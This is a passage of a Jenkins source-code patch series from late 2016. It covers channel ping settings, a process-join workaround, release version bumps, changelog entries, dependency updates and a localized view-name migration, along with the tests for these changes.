pingTimeoutSeconds + "," + pingIntervalSeconds + ")"; + protected Object readResolve() { + if (pingInterval != 0) { + return new SetUpRemotePing(PING_TIMEOUT_SECONDS_DEFAULT, pingInterval * 60); + } + return this; } } static void setUpPingForChannel(final Channel channel, int timeoutSeconds, int intervalSeconds, final boolean analysis) { + LOGGER.log(Level.FINE, "setting up ping on {0} with a {1} seconds interval and {2} seconds timeout", new Object[] {channel.getName(), intervalSeconds, timeoutSeconds}); final AtomicBoolean isInClosed = new AtomicBoolean(false); final PingThread t = new PingThread(channel, timeoutSeconds * 1000L, intervalSeconds * 1000L) { + @Override protected void onDead(Throwable cause) { try { if (analysis) { @@ -194,7 +206,7 @@ public class ChannelPinger extends ComputerListener { }); t.start(); - LOGGER.log(Level.FINE, "Ping thread started for {0} with a {1} second interval and a {2} second timeout.", - new Object[] { channel, intervalSeconds, timeoutSeconds }); + LOGGER.log(Level.FINE, "Ping thread started for {0} with a {1} seconds interval and a {2} seconds timeout", + new Object[] { channel, intervalSeconds, timeoutSeconds }); } } diff --git a/core/src/test/java/hudson/slaves/ChannelPingerTest.java b/core/src/test/java/hudson/slaves/ChannelPingerTest.java index 9018ea55ee..e3e67a1b26 100644 --- a/core/src/test/java/hudson/slaves/ChannelPingerTest.java +++ b/core/src/test/java/hudson/slaves/ChannelPingerTest.java @@ -2,9 +2,7 @@ package hudson.slaves; import static org.mockito.Matchers.eq; import static org.mockito.Mockito.verify; -import static org.mockito.Mockito.when; import static org.powermock.api.mockito.PowerMockito.mockStatic; -import static org.powermock.api.mockito.PowerMockito.verifyNoMoreInteractions; import static org.powermock.api.mockito.PowerMockito.verifyStatic; import com.google.common.testing.EqualsTester; @@ -14,7 +12,6 @@ import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.MockitoAnnotations; -import org.powermock.api.mockito.PowerMockito; import org.powermock.core.classloader.annotations.PrepareForTest; import org.powermock.modules.junit4.PowerMockRunner; import hudson.remoting.Channel; @@ -64,9 +61,11 @@ public class ChannelPingerTest { ChannelPinger channelPinger = new ChannelPinger(); channelPinger.install(mockChannel); - verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 300))); + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, + ChannelPinger.PING_INTERVAL_SECONDS_DEFAULT))); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 240, 300); + ChannelPinger.setUpPingForChannel(mockChannel, ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, + ChannelPinger.PING_INTERVAL_SECONDS_DEFAULT, true); } @Test @@ -79,7 +78,7 @@ public class ChannelPingerTest { verify(mockChannel).call(new ChannelPinger.SetUpRemotePing(42, 73)); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 42, 73); + ChannelPinger.setUpPingForChannel(mockChannel, 42, 73, true); } @Test @@ -89,9 +88,9 @@ public class ChannelPingerTest { ChannelPinger channelPinger = new ChannelPinger(); channelPinger.install(mockChannel); - verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 420))); + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 420))); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 240, 420); + ChannelPinger.setUpPingForChannel(mockChannel, ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 420, true); } @Test @@ -102,9 +101,9 @@ public class ChannelPingerTest { ChannelPinger channelPinger = new ChannelPinger(); channelPinger.install(mockChannel); - verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 73))); + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 73))); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 240, 73); + ChannelPinger.setUpPingForChannel(mockChannel, ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 73, true); } @Test -- GitLab From 9ecc77b9badd65d9eabd34d2baad1742d5566894 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 29 Nov 2016 10:06:42 -0500 Subject: [PATCH 375/712] [JENKINS-38867] Since tag for #2582. --- core/src/main/java/jenkins/model/TransientActionFactory.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/jenkins/model/TransientActionFactory.java b/core/src/main/java/jenkins/model/TransientActionFactory.java index b17900d264..b3d0579abc 100644 --- a/core/src/main/java/jenkins/model/TransientActionFactory.java +++ b/core/src/main/java/jenkins/model/TransientActionFactory.java @@ -66,6 +66,7 @@ public abstract class TransientActionFactory implements ExtensionPoint { *

                  If an API defines a abstract {@link Action} subtype and you are providing a concrete implementation, * you may return the API type here to delay class loading. * @return a bound for the result of {@link #createFor} + * @since 2.34 */ public /* abstract */ Class actionType() { return Action.class; -- GitLab From b6eb255b2254e1697dc7ba4ea7197c23b006b965 Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Wed, 30 Nov 2016 15:42:22 +0100 Subject: [PATCH 376/712] Clarify hudson.Extension#ordinal documentation I have to read it many times each time I need it. Hopefully it's a bit clearer with this addition. --- core/src/main/java/hudson/Extension.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Extension.java b/core/src/main/java/hudson/Extension.java index 5ad913ef6a..1ca863d2f4 100644 --- a/core/src/main/java/hudson/Extension.java +++ b/core/src/main/java/hudson/Extension.java @@ -74,7 +74,8 @@ public @interface Extension { /** * Used for sorting extensions. * - * Extensions will be sorted in the descending order of the ordinal. + * Extensions will be sorted in the descending order of the ordinal. In other words, + * the extensions with the highest numbers will be chosen first. * This is a rather poor approach to the problem, so its use is generally discouraged. * * @since 1.306 -- GitLab From 29893354a52efac20efcb4e0e91723f3bd889059 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 3 Dec 2016 16:55:35 +0100 Subject: [PATCH 377/712] [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods (#2653) * [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods * [JENKINS-23271] - Also prevent the issue when the kill() command is the last call in the usage sequence --- core/src/main/java/hudson/Launcher.java | 51 +++++++++++++++++++------ core/src/main/java/hudson/Proc.java | 32 ++++++++++++++-- 2 files changed, 68 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 3f8c24d3a4..4e8d0b58ab 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -59,6 +59,7 @@ import java.util.logging.Level; import java.util.logging.Logger; import static org.apache.commons.io.output.NullOutputStream.NULL_OUTPUT_STREAM; +import hudson.Proc.ProcWithJenkins23271Patch; /** * Starts a process. @@ -393,15 +394,27 @@ public abstract class Launcher { // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 final Proc procHolderForJoin = start(); LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); - try { - final int returnCode = procHolderForJoin.join(); - if (LOGGER.isLoggable(Level.FINER)) { - LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + + if (procHolderForJoin instanceof ProcWithJenkins23271Patch) { + return procHolderForJoin.join(); + } else { + // Fallback to the internal handling logic + if (!(procHolderForJoin instanceof LocalProc)) { + // We consider that the process may be at risk of JENKINS-23271 + LOGGER.log(Level.FINE, "Process {0} of type {1} is neither {2} nor instance of {3}. " + + "If this process operates with Jenkins agents via remote invocation, you may get into JENKINS-23271", + new Object[] {procHolderForJoin, procHolderForJoin.getClass(), LocalProc.class, ProcWithJenkins23271Patch.class}); } - return returnCode; - } finally { - if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis - LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not finished after the join() method completion", procHolderForJoin); + } } } } @@ -990,7 +1003,7 @@ public abstract class Launcher { private static final long serialVersionUID = 1L; } - public static final class ProcImpl extends Proc { + public static final class ProcImpl extends Proc implements ProcWithJenkins23271Patch { private final RemoteProcess process; private final IOTriplet io; @@ -1001,12 +1014,28 @@ public abstract class Launcher { @Override public void kill() throws IOException, InterruptedException { - process.kill(); + try { + process.kill(); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override public int join() throws IOException, InterruptedException { - return process.join(); + try { + final int returnCode = process.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{this, returnCode}); + } + return returnCode; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } + } } @Override diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index a2d1729827..abe104462a 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -49,6 +49,8 @@ import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * External process wrapper. @@ -431,7 +433,7 @@ public abstract class Proc { * @deprecated as of 1.399. Replaced by {@link Launcher.RemoteLauncher.ProcImpl} */ @Deprecated - public static final class RemoteProc extends Proc { + public static final class RemoteProc extends Proc implements ProcWithJenkins23271Patch { private final Future process; public RemoteProc(Future process) { @@ -440,7 +442,14 @@ public abstract class Proc { @Override public void kill() throws IOException, InterruptedException { - process.cancel(true); + try { + process.cancel(true); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + // TODO: Report exceptions if they happen? + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override @@ -448,8 +457,8 @@ public abstract class Proc { try { return process.get(); } catch (InterruptedException e) { - // aborting. kill the process - process.cancel(true); + LOGGER.log(Level.FINE, String.format("Join operation has been interrupted for the process %s. Killing the process", this), e); + kill(); throw e; } catch (ExecutionException e) { if(e.getCause() instanceof IOException) @@ -457,6 +466,10 @@ public abstract class Proc { throw new IOException("Failed to join the process",e); } catch (CancellationException x) { return -1; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } } } @@ -486,4 +499,15 @@ public abstract class Proc { * Debug switch to have the thread display the process it's waiting for. */ public static boolean SHOW_PID = false; + + /** + * An instance of {@link Proc}, which has an internal workaround for JENKINS-23271. + * It presumes that the instance of the object is guaranteed to be used after the {@link Proc#join()} call. + * See JENKINS-23271> + * @author Oleg Nenashev + */ + @Restricted(NoExternalUse.class) + public interface ProcWithJenkins23271Patch { + // Empty marker interface + } } -- GitLab From 37df0e3a46b9d0d06883f3dbec74c7367010d177 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 4 Dec 2016 12:36:17 -0800 Subject: [PATCH 378/712] [maven-release-plugin] prepare release jenkins-2.35 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index d4385dc575..a41be0c7ba 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 cli diff --git a/core/pom.xml b/core/pom.xml index 54c75ac4de..aae8c8b60f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 jenkins-core diff --git a/pom.xml b/pom.xml index 7b20746edd..3107be1a4c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.35 diff --git a/test/pom.xml b/test/pom.xml index b9987846c4..b77d442954 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 test diff --git a/war/pom.xml b/war/pom.xml index 664e9d90ad..e041dfb93c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 jenkins-war -- GitLab From f106e249b6ef7a1212cef3ef8ef7a0c0effeb02a Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 4 Dec 2016 12:36:17 -0800 Subject: [PATCH 379/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index a41be0c7ba..5b6b23edac 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index aae8c8b60f..44bff174fd 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 3107be1a4c..478d13b3be 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.35 + HEAD diff --git a/test/pom.xml b/test/pom.xml index b77d442954..35fd1a3f3d 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index e041dfb93c..bafa05038f 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT jenkins-war -- GitLab From 264f1393b391b7a3993a56069a53b3458f2f05e8 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 4 Dec 2016 12:44:03 -0800 Subject: [PATCH 380/712] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 69ac6b0a9e..0b5788ecaf 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes

                +

                What's new in 2.35 (2016/12/04)

                +
                  +
                • +

                What's new in 2.34 (2016/11/27)

                • -- GitLab From 43519b1d5e234acdc0c85d3e551158bc0a9e791a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 5 Dec 2016 16:56:55 +0100 Subject: [PATCH 381/712] Noting #2644 #2646 #2653 --- changelog.html | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 0b5788ecaf..a10588ac54 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,15 @@ Upcoming changes

                  What's new in 2.35 (2016/12/04)

                    -
                  • +
                  • + Add display name and full display name of items to the remote API. + (issue 39972) +
                  • + API: Allow specifying log level in SystemProperties when a System property is undefined. + (pull 2646) +
                  • + Followup fix for JENKINS-23271 in 2.34 addressing plugin implementations not using ProcStarter. + (pull 2653)

                  What's new in 2.34 (2016/11/27)

                    -- GitLab From e66bfbafa99fc092c6f9fe51f8bf5be267340557 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 27 Nov 2016 07:41:36 +0100 Subject: [PATCH 382/712] Update winp to 1.24. In particular, it addresses issues like [JENKINS-20913](https://issues.jenkins-ci.org/browse/JENKINS-20913) (#2619) ### Changes to be picked ### 1.24 Release date: Nov 2, 2016 * [Issue #22](https://github.com/kohsuke/winp/issues/22) - Winp sometimes kills random processes when using killRecursive. ([PR #23](https://github.com/kohsuke/winp/pull/23)) * [WINP-10](https://java.net/jira/browse/WINP-10) - Fix for `getCmdLineAndEnvVars()` which fails on x64 versions of Windows. ([PR #20](https://github.com/kohsuke/winp/pull/20)) * [Issue #24](https://github.com/kohsuke/winp/issues/24) - Wrong folder when using the `winp.folder.preferred` system property (parent instead of the actual folder). ([PR #25](https://github.com/kohsuke/winp/pull/25)) * [Issue #26](https://github.com/kohsuke/winp/issues/26), [JENKINS-20913](https://issues.jenkins-ci.org/browse/JENKINS-20913) - Native class now tries loading DLLs via the temp location. ([PR #27](https://github.com/kohsuke/winp/pull/27)) ### 1.23 Release date: Fev 16, 2015 * Migrate native components to Visual Studio Community 2013. ([PR #14](https://github.com/kohsuke/winp/pull/14)) * Provide a `winp.unpack.dll.to.parent.dir` property, which disables DLL unpacking to the parent dir. ([PR #14](https://github.com/kohsuke/winp/pull/12)) (cherry picked from commit 63c2f6c5d7d154a3a0f58c54f04f9b1a25ea5385) --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 52d7905470..d2a566e883 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -496,7 +496,7 @@ THE SOFTWARE. org.jvnet.winp winp - 1.22 + 1.24 org.jenkins-ci -- GitLab From dacbe03e0d4ef3b3468413a6985b42e39c0fc9fc Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Tue, 15 Nov 2016 15:50:02 +0100 Subject: [PATCH 383/712] [JENKINS-39741] - Redirect to login page after authorisation error when checking connectivity to update center and handle any other error. (cherry picked from commit 5df61d42d01c2857264748cc6c871491ac3ae79c) --- war/src/main/js/util/jenkins.js | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/war/src/main/js/util/jenkins.js b/war/src/main/js/util/jenkins.js index 6b31f42681..43c031fe33 100644 --- a/war/src/main/js/util/jenkins.js +++ b/war/src/main/js/util/jenkins.js @@ -244,7 +244,14 @@ exports.testConnectivity = function(siteId, handler) { handler(true); } } - }); + }, { error: function(xhr, textStatus, errorThrown) { + if (xhr.status === 403) { + exports.goTo('/login'); + } else { + handler.call({ isError: true, errorMessage: errorThrown }); + } + } + }); }; testConnectivity(); }; -- GitLab From eac59f3b5ed844ffb3ad31fc72bc04f5b75a92f6 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 6 Dec 2016 17:17:42 +0100 Subject: [PATCH 384/712] Annotate localizer generated Messages classes with NoExternalUse Also update to localizer 1.24 which adds support for this. --- cli/pom.xml | 8 +++++++- core/pom.xml | 3 ++- pom.xml | 2 +- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 70f83cbbec..3436f10f57 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -24,6 +24,11 @@ powermock-api-mockito test + + org.kohsuke + access-modifier-annotation + 1.7 + commons-codec commons-codec @@ -42,7 +47,7 @@ org.jvnet.localizer localizer - 1.23 + 1.24 org.jenkins-ci @@ -88,6 +93,7 @@ Messages.properties target/generated-sources/localizer + true diff --git a/core/pom.xml b/core/pom.xml index 5e0673544c..ac37df2b4f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -212,7 +212,7 @@ THE SOFTWARE. org.jvnet.localizer localizer - 1.23 + 1.24 antlr @@ -697,6 +697,7 @@ THE SOFTWARE. Messages.properties target/generated-sources/localizer + true diff --git a/pom.xml b/pom.xml index 6086a96fe4..99f26a91aa 100644 --- a/pom.xml +++ b/pom.xml @@ -468,7 +468,7 @@ THE SOFTWARE. org.jvnet.localizer maven-localizer-plugin - 1.23 + 1.24 UTF-8 -- GitLab From 9172bca30fbdfc2478ccb60458dd397ba6b1df55 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Wed, 7 Dec 2016 01:52:35 +0200 Subject: [PATCH 385/712] [FIX JENKINS-40266] Allow override UserProperty.setUser(User) (#2655) UserProperty may contain nested objects that depend on User. On User reconfiguration setUser(User) is called so it should be non-final to have ability override it and update references in nested objects. Signed-off-by: Kanstantsin Shautsou --- .../main/java/hudson/model/UserProperty.java | 2 +- .../java/hudson/model/UserPropertyTest.java | 164 +++++++++++++++++- .../SetUserUserProperty/config.jelly | 2 + .../nestedUserReference/config.xml | 3 + .../users/nestedUserReference/config.xml | 9 + 5 files changed, 177 insertions(+), 3 deletions(-) create mode 100644 test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly create mode 100644 test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml create mode 100644 test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml diff --git a/core/src/main/java/hudson/model/UserProperty.java b/core/src/main/java/hudson/model/UserProperty.java index 0f0958d95c..48198a28eb 100644 --- a/core/src/main/java/hudson/model/UserProperty.java +++ b/core/src/main/java/hudson/model/UserProperty.java @@ -58,7 +58,7 @@ public abstract class UserProperty implements ReconfigurableDescribable fileLines = FileUtils.readLines(testFile); + assertThat(fileLines, hasSize(1)); + + j.configRoundtrip(user); + + user = User.get("nestedUserReference", false, Collections.emptyMap()); + assertThat("nested reference should exist after user configuration change", user, nestedUserSet()); + + testFile = new File(j.getInstance().getRootDir() + "/users/nesteduserreference/" + TEST_FILE); + fileLines = FileUtils.readLines(testFile); + assertThat(fileLines, hasSize(1)); + } + + public static Matcher nestedUserSet() { + return new BaseMatcher() { + @Override + public boolean matches(Object item) { + User user = (User) item; + assertThat(user, notNullValue()); + final SetUserUserProperty prop = user.getProperty(SetUserUserProperty.class); + assertThat(prop, notNullValue()); + assertThat(prop.getOwner(), notNullValue()); + assertThat(prop.getOwner(), is(user)); + + final InnerUserClass innerUserClass = prop.getInnerUserClass(); + assertThat(innerUserClass, notNullValue()); + final User innerUser = innerUserClass.getUser(); + assertThat(innerUser, notNullValue()); + assertThat(innerUser, is(user)); + return true; + } + + @Override + public void describeTo(Description description) { + description.appendText("User object should contain initialised inner fields"); + } + }; + } + + /** + * User property that need update User object reference for InnerUserClass. + */ + public static class SetUserUserProperty extends UserProperty { + private InnerUserClass innerUserClass = new InnerUserClass(); + + @DataBoundConstructor + public SetUserUserProperty() { + } + + public InnerUserClass getInnerUserClass() { + return innerUserClass; + } + + public User getOwner() { + return user; + } + + @Override + protected void setUser(User u) { + super.setUser(u); + innerUserClass.setUser(u); + } + + public Object readResolve() { + if (innerUserClass == null) { + innerUserClass = new InnerUserClass(); + } + return this; + } + + @TestExtension + public static class DescriptorImpl extends UserPropertyDescriptor { + @Override + public UserProperty newInstance(User user) { + if (user.getId().equals("nesteduserreference")) { + return new SetUserUserProperty(); + } + return null; + } + } + } + + /** + * Class that should get setUser(User) object reference update. + */ + public static class InnerUserClass extends AbstractDescribableImpl { + public static final String TEST_FILE = "test.txt"; + private transient User user; + + @DataBoundConstructor + public InnerUserClass() { + } + + public User getUser() { + return user; + } + + /** + * Should be initialised separately. + */ + public void setUser(User user) { + this.user = user; + try { + writeStringToFile(getUserFile(), String.valueOf(currentTimeMillis()), true); + } catch (IOException e) { + Throwables.propagate(e); + } + } + + private File getUserFile() throws IOException { + final File usersRootDir = new File(Jenkins.getInstance().getRootDir(), "users"); + final File userDir = new File(usersRootDir, idStrategy().filenameOf(user.getId())); + final File userFile = new File(userDir, TEST_FILE); + if (!userFile.exists()) { + userFile.createNewFile(); + } + return userFile; + } + + @Override + public DescriptorImpl getDescriptor() { + return (DescriptorImpl) super.getDescriptor(); + } + + @TestExtension + public static class DescriptorImpl extends Descriptor { + } + } + } diff --git a/test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly b/test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly new file mode 100644 index 0000000000..a25eb2344a --- /dev/null +++ b/test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly @@ -0,0 +1,2 @@ + + diff --git a/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml new file mode 100644 index 0000000000..b302226802 --- /dev/null +++ b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml @@ -0,0 +1,3 @@ + + + diff --git a/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml new file mode 100644 index 0000000000..75d0d6330c --- /dev/null +++ b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml @@ -0,0 +1,9 @@ + + + nesteduserreference + + + + + + -- GitLab From fd2009a9712b8b0a8c310d687df07df60edbc8ad Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 7 Dec 2016 09:54:04 +0000 Subject: [PATCH 386/712] [JENKINS-38606] Allow legacy localized links to continue working after migration - This means we can default the migration to enabled --- core/src/main/java/hudson/model/AllView.java | 11 ++++++----- core/src/main/java/hudson/model/MyViewsProperty.java | 2 +- core/src/main/java/hudson/model/ViewGroupMixIn.java | 11 +++++++++++ core/src/main/java/jenkins/model/Jenkins.java | 2 +- 4 files changed, 19 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/model/AllView.java b/core/src/main/java/hudson/model/AllView.java index a1ffdb9e25..06122f89c6 100644 --- a/core/src/main/java/hudson/model/AllView.java +++ b/core/src/main/java/hudson/model/AllView.java @@ -118,15 +118,15 @@ public class AllView extends View { /** * Corrects the name of the {@link AllView} if and only if the {@link AllView} is the primary view and - * its name is one of the localized forms of {@link Messages#_Hudson_ViewName()} and the user has opted in to - * fixing the view name by setting the system property {@code hudson.mode.AllView.JENKINS-38606} to {@code true}. + * its name is one of the localized forms of {@link Messages#_Hudson_ViewName()} and the user has not opted out of + * fixing the view name by setting the system property {@code hudson.mode.AllView.JENKINS-38606} to {@code false}. * Use this method to round-trip the primary view name, e.g. * {@code primaryView = applyJenkins38606Fixup(views, primaryView)} *

                    * NOTE: we can only fix the localized name of an {@link AllView} if it is the primary view as otherwise urls * would change, whereas the primary view is special and does not normally get accessed by the * {@code /view/_name_} url. (Also note that there are some cases where the primary view will get accessed by - * its {@code /view/_name_} url which is why users need to opt-in to this fix. + * its {@code /view/_name_} url which will then fall back to the primary view) * * @param views the list of views. * @param primaryView the current primary view name. @@ -135,12 +135,13 @@ public class AllView extends View { * @since FIXME */ @Nonnull - public static String applyJenkins38606Fixup(@Nonnull List views, @Nonnull String primaryView) { + public static String migrateLegacyPrimaryAllViewLocalizedName(@Nonnull List views, + @Nonnull String primaryView) { if (DEFAULT_VIEW_NAME.equals(primaryView)) { // modern name, we are safe return primaryView; } - if (SystemProperties.getBoolean(AllView.class.getName()+".JENKINS-38606")) { + if (SystemProperties.getBoolean(AllView.class.getName()+".JENKINS-38606", true)) { AllView allView = null; for (View v : views) { if (DEFAULT_VIEW_NAME.equals(v.getViewName())) { diff --git a/core/src/main/java/hudson/model/MyViewsProperty.java b/core/src/main/java/hudson/model/MyViewsProperty.java index 363bab4478..6220cf0777 100644 --- a/core/src/main/java/hudson/model/MyViewsProperty.java +++ b/core/src/main/java/hudson/model/MyViewsProperty.java @@ -87,7 +87,7 @@ public class MyViewsProperty extends UserProperty implements ModifiableViewGroup // preserve the non-empty invariant views.add(new AllView(AllView.DEFAULT_VIEW_NAME, this)); } - primaryViewName = AllView.applyJenkins38606Fixup(views, primaryViewName); + primaryViewName = AllView.migrateLegacyPrimaryAllViewLocalizedName(views, primaryViewName); viewGroupMixIn = new ViewGroupMixIn(this) { protected List views() { return views; } diff --git a/core/src/main/java/hudson/model/ViewGroupMixIn.java b/core/src/main/java/hudson/model/ViewGroupMixIn.java index e390005edb..dcdc5a803c 100644 --- a/core/src/main/java/hudson/model/ViewGroupMixIn.java +++ b/core/src/main/java/hudson/model/ViewGroupMixIn.java @@ -26,6 +26,8 @@ package hudson.model; import hudson.model.ItemGroupMixIn; import hudson.model.View; import hudson.model.ViewGroup; +import java.util.Locale; +import java.util.logging.Level; import org.kohsuke.stapler.export.Exported; import java.io.IOException; @@ -99,6 +101,15 @@ public abstract class ViewGroupMixIn { View pv = getPrimaryView(); if (pv instanceof ViewGroup) return ((ViewGroup)pv).getView(name); + if (pv instanceof AllView && AllView.DEFAULT_VIEW_NAME.equals(pv.name)) { + // JENKINS-38606: primary view is the default AllView, is somebody using an old link to localized form? + for (Locale l : Locale.getAvailableLocales()) { + if (name.equals(Messages._Hudson_ViewName().toString(l))) { + // why yes they are, let's keep 